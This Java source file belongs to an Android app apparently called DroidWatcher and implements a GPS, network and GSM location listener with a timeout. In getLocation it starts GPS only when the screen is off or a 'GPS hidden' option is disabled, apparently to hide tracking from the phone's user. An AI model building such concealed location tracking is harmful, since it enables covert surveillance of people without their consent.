package com.droidwatcher.modules.location;
import java.lang.ref.WeakReference;
import org.acra.ACRA;
import com.droidwatcher.Debug;
import com.droidwatcher.receivers.ScreenStateReceiver;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
public class SingleLocationListener implements LocationListener {
private LocationModule mModule;
private ILocationResultListener mResultListner;
private Location mNetworkLocation;
private TimeoutHandler mTimeoutHandler;
private Boolean mIsListeningGps;
private Boolean mIsListeningNetwork;
private static final long GPS_TIMEOUT = 2 * 60 * 1000L;
public SingleLocationListener(LocationModule module){
mModule = module;
mTimeoutHandler = new TimeoutHandler(this);
mIsListeningGps = false;
mIsListeningNetwork = false;
}
@Override
public synchronized void onLocationChanged(Location location) {
if (mModule == null) {
return;
}
try {
Debug.i("[SingleLocationListner] Location changed; provider: " + location.getProvider());
if (location.getProvider().equals(LocationManager.GPS_PROVIDER)) {
mResultListner.onLocationResult(location);
mModule.removeListner(this);
}
else{
if (!mIsListeningGps || !mModule.getLocationManager().isProviderEnabled(LocationManager.GPS_PROVIDER)) {
mResultListner.onLocationResult(location);
mModule.removeListner(this);
}
else{
if (mNetworkLocation == null || mNetworkLocation.getAccuracy() > location.getAccuracy() || location.getTime() - mNetworkLocation.getTime() >= GPS_TIMEOUT) {
mNetworkLocation = location;
}
}
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
public void getLocation(ILocationResultListener resultListner) {
try {
mResultListner = resultListner;
try {
if (!mModule.getLocationManager().isProviderEnabled(LocationManager.GPS_PROVIDER) && !mModule.getLocationManager().isProviderEnabled(LocationManager.NETWORK_PROVIDER)) {
//mResultListner.onNoResult();
new GsmLocationListener(mModule.getContext()).getLocation(mResultListner);
mModule.removeListner(this);
return;
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
if (ScreenStateReceiver.getScreenState() == ScreenStateReceiver.SCREEN_STATE_OFF || !mModule.mIsGpsHidden) {
startListner();
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
public synchronized void startListner(){
try {
if (mModule.getLocationManager().isProviderEnabled(LocationManager.GPS_PROVIDER) && !mIsListeningGps) {
mModule.getLocationManager().requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, this);
mIsListeningGps = true;
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
mIsListeningGps = false;
}
try {
if (mModule.getLocationManager().isProviderEnabled(LocationManager.NETWORK_PROVIDER) && !mIsListeningNetwork) {
mModule.getLocationManager().requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 0, 0, this);
mIsListeningNetwork = true;
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
mIsListeningNetwork = false;
}
mTimeoutHandler.removeMessages(TimeoutHandler.MSG_GPS_STOP);
mTimeoutHandler.sendEmptyMessageDelayed(TimeoutHandler.MSG_GPS_STOP, GPS_TIMEOUT);
}
public synchronized void stopListner(){
if (mIsListeningGps || mIsListeningNetwork) {
try {
mModule.getLocationManager().removeUpdates(this);
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
mIsListeningGps = false;
mIsListeningNetwork = false;
mTimeoutHandler.removeMessages(TimeoutHandler.MSG_GPS_STOP);
}
public synchronized void dispose(){
try {
try {
mModule.getLocationManager().removeUpdates(this);
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
mTimeoutHandler.removeMessages(TimeoutHandler.MSG_GPS_STOP);
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
} finally {
mModule = null;
mTimeoutHandler = null;
}
}
private void onGpsTimeout(){
if (mNetworkLocation != null) {
mResultListner.onLocationResult(mNetworkLocation);
}
else{
//mResultListner.onNoResult();
new GsmLocationListener(mModule.getContext()).getLocation(mResultListner);
}
mModule.removeListner(this);
Debug.i("[SingleLocationListner] GPS TIMEOUT");
}
private static class TimeoutHandler extends Handler {
public static final int MSG_GPS_STOP = 1;
private final WeakReference<SingleLocationListener> mListener;
public TimeoutHandler(SingleLocationListener listener){
mListener = new WeakReference<SingleLocationListener>(listener);
}
@Override
public synchronized void handleMessage(Message msg) {
super.handleMessage(msg);
SingleLocationListener listener = mListener.get();
if (listener == null) {
return;
}
switch (msg.what) {
case MSG_GPS_STOP:
listener.onGpsTimeout();
break;
default:
break;
}
}
}
@Override
public void onProviderDisabled(String provider) { }
@Override
public void onProviderEnabled(String provider) { }
@Override
public void onStatusChanged(String provider, int status, Bundle extras) { }
}